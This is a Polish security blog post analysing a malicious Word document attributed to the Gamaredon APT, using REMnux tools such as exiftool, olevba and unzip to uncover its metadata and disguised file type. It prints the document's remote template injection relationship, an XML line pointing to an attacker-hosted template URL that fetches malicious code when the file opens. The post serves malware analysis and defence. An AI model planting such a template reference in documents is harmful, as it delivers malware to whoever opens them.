Analiza pliku Word Office od APT Gamaredon
Napisał: Piotr Kaczmarzyk
18/03/2022 w Bezpieczeństwo Brak komentarzy. (artykuł nr 812, ilość słów: 2396)
W
czwartek, 24 lutego 2022 roku Rosja dokonała aktu nieuzasadnionej napaści na Ukrainę. Jeszcze zanim rozpoczęła się gorąca faza zbrojnego konfliktu uruchomione zostały działania cybernetyczne. W artykule tym chciałbym zaprezentować dość sprytną technikę użytą przez APT Gamaredon, którego podstawowym celem jest Ukraina. Większość kroków wykonanych w tej analizie została już omówiona wcześniej w serii: O statycznej analizie plików Microsoft Office słów kilka albo i więcej (cz. I, II, III) – dlatego nie będą one tutaj przedmiotem głębszych rozważań. Analizowany dokument można ściągnąć z bazaru szkodliwego oprogramowania. Zbiera on znalezione próbki malware, ransomware i inne *ware wzbogacając je o dodatkowe informacje i udostępnia je społeczności analityków za darmo.
Na początku obliczymy skrót sha256:
remnux@remnux:~$ sha256sum sample.doc 496213612d873633a80320bb3422b44d21edb064953110e86ec09f1c7c5ec87c sample.doc
Sprawdźmy również VirusTotal, w którym na dzień dzisiejszy zobaczymy już całą masę detekcji ze strony silników antywirusowych. Szczególnie zachęcam do przeczytania zakładki Community. Sprawdźmy teraz typ pliku, którego rozszerzenie (.doc
) wskazuje na dokument:
remnux@remnux:~$ file sample.doc sample.doc: Microsoft Word 2007+
Ale używając już bardziej wyrafinowanych narzędzi, jak TrID oraz ExifTool wyraźnie widzimy, że prawdziwym formatem jest docx
:
remnux@remnux:~$ exiftool sample.doc ExifTool Version Number : 12.16 File Name : sample.doc Directory : . File Size : 17 KiB File Modification Date/Time : 2022:03:04 06:01:22+01:00 File Access Date/Time : 2022:03:11 16:03:43+01:00 File Inode Change Date/Time : 2022:03:04 07:13:54+01:00 File Permissions : rw-r--r-- File Type : DOCX File Type Extension : docx MIME Type : application/vnd.openxmlformats-officedocument .wordprocessingml.document Zip Required Version : 20 Zip Bit Flag : 0x0006 Zip Compression : Deflated Zip Modify Date : 1980:01:01 00:00:00 Zip CRC : 0x576f9132 Zip Compressed Size : 358 Zip Uncompressed Size : 1445 Zip File Name : [Content_Types].xml Template : nay.p3l Total Edit Time : 1.8 hours Pages : 1 Words : 752 Characters : 4287 Application : Microsoft Office Word Doc Security : None Lines : 35 Paragraphs : 10 Scale Crop : No Heading Pairs : Название, 1 Titles Of Parts : Company : SPecialiST RePack Links Up To Date : No Characters With Spaces : 5029 Shared Doc : No Hyperlinks Changed : No App Version : 15.0000 Title : Subject : Creator : San4es Keywords : Description : Last Modified By : San4es Revision Number : 8 Create Date : 2022:02:23 20:40:00Z Modify Date : 2022:02:23 22:30:00Z
Zwróćmy szczególną uwagę na datę stworzenia pliku i modyfikacji:
Create Date : 2022:02:23 20:40:00Z Modify Date : 2022:02:23 22:30:00Z
To zaledwie kilka godzin przed rosyjską inwazją. Z kolei metadana:
Company : SPecialiST RePack
Wskazuje na użycie pirackiej wersji oprogramowania. SPecialiST RePack
to rosyjski “wydawca cyfrowy”, który jest używany do przepakowywania oprogramowania. Według bazy danych złośliwego oprogramowania firmy Emsisoft, jest to źródło dużej liczby zainfekowanych plików i produktów. W celu upewnienia się, co do rodzaju pliku możemy jeszcze sprawdzić tzw. magic number, które charakteryzują każdy rodzaj pliku.
remnux@remnux:~$ xxd sample.doc 00000000: 504b 0304 1400 0600 0800 0000 2100 3291 PK..........!.2. 00000010: 6f57 6601 0000 a505 0000 1300 0802 5b43 oWf...........[C 00000020: 6f6e 7465 6e74 5f54 7970 6573 5d2e 786d ontent_Types].xm 00000030: 6c20 a204 0228 a000 0200 0000 0000 0000 l ...(..........
W pierwszej linii widzimy frazę: "PK.."
0x50 0x4B 0x03 0x04, czyli jest to plik typu Zip Archive, a inaczej docx
. Plik nie zawiera makr. Jednak stosując polecenia olevba możemy zobaczyć ciekawy wynik:
remnux@remnux:~$ olevba sample.doc olevba 0.56.1 on Python 3.8.5 - http://decalage.info/python/oletools =============================================================================== FILE: sample.doc Type: OpenXML ------------------------------------------------------------------------------- VBA MACRO word/_rels/settings.xml.rels in file: word/_rels/settings.xml.rels - OLE stream: '' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/ relationships/attachedTemplate" Target="http://prick.falcon62.freebsdo.ru/DESKTOP-6NRN 62F/glimpse/council/glimpse/nay.p3l" TargetMode="External"/></Relationships> +----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |Suspicious|Base64 Strings |Base64-encoded strings were detected, may be | | | |used to obfuscate strings (option --decode to| | | |see all) | |IOC |http://prick.falcon6|URL | | |2.freebsdo.ru/DESKTO| | | |P-6NRN62F/glimpse/co| | | |uncil/glimpse/nay.p3| | | |l | | |Suspicious|Template Injection |Template injection found. A malicious | | | |template could have been uploaded from a | | | |remote location | +----------+--------------------+---------------------------------------------+
Narzędzie wskazuje nam, że w dokumencie zastosowano technikę zwaną Template Injection, która polega na odwołaniu się do zewnętrznego zasobu w celu ściągnięcia szablonu. Sam dokument nie zawiera złośliwego kodu, co zwiększa szansę jego otworzenia i uruchomienia. Technika ta w macierzy MITRE to T1221. Trochę więcej informacji, jak przygotować taki dokument możemy znaleźć w opracowaniu Executing Macros From a DOCX With Remote Template Injection. Przejdźmy teraz do wspomnianego szablonu. Na początku musimy rozpakować naszą próbkę:
remnux@remnux:~$ unzip sample.doc Archive: sample.doc inflating: [Content_Types].xml inflating: _rels/.rels inflating: word/_rels/document.xml.rels inflating: word/document.xml inflating: word/theme/theme1.xml inflating: word/_rels/settings.xml.rels inflating: word/settings.xml inflating: word/webSettings.xml inflating: word/styles.xml inflating: docProps/app.xml inflating: docProps/core.xml inflating: word/fontTable.xml inflating: word/numbering.xml
Następnie przejdźmy do odpowiedniego katalogu i zobaczmy zawartość pliku settings.xml.rels
:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/ relationships/attachedTemplate" Target="http://prick.falcon62.freebsdo.ru/DESKTOP-6NRN 62F/glimpse/council/glimpse/nay.p3l" TargetMode="External"/></Relationships>
Jak widzimy w sekcji Target zawarty jest adres URL, który również był pokazany w wyniku polecenia olevba. Niestety w momencie analizy infrastruktura hostująca plik nay.p3l była już nieaktywna. W wynikach VirusTotal widać, że jest on uznany za złośliwy. Jeśli spojrzymy jeszcze raz na pełny adres URL, to znajdziemy w nim frazę, która wskazuje na nazwę konkretnego komputera: DESKTOP-6NRN62F. Na koniec warto wspomnieć, że jeśli cofniemy się do wyników polecenia exiftool to również znajdziemy w nich częściową informację o szablonie:
Template : nay.p3l
Podsumowując: w przeanalizowanym dokumencie nastąpiła próba ukrycia prawdziwego rozszerzenia pliku oraz próba ominięcia zabezpieczeń poprzez pobranie złośliwego kodu pod postacią szablonu z zainicjowanego zewnętrznego źródła po ewentualnym otworzeniu pliku.
Więcej informacji: Próbki APT Gamaredon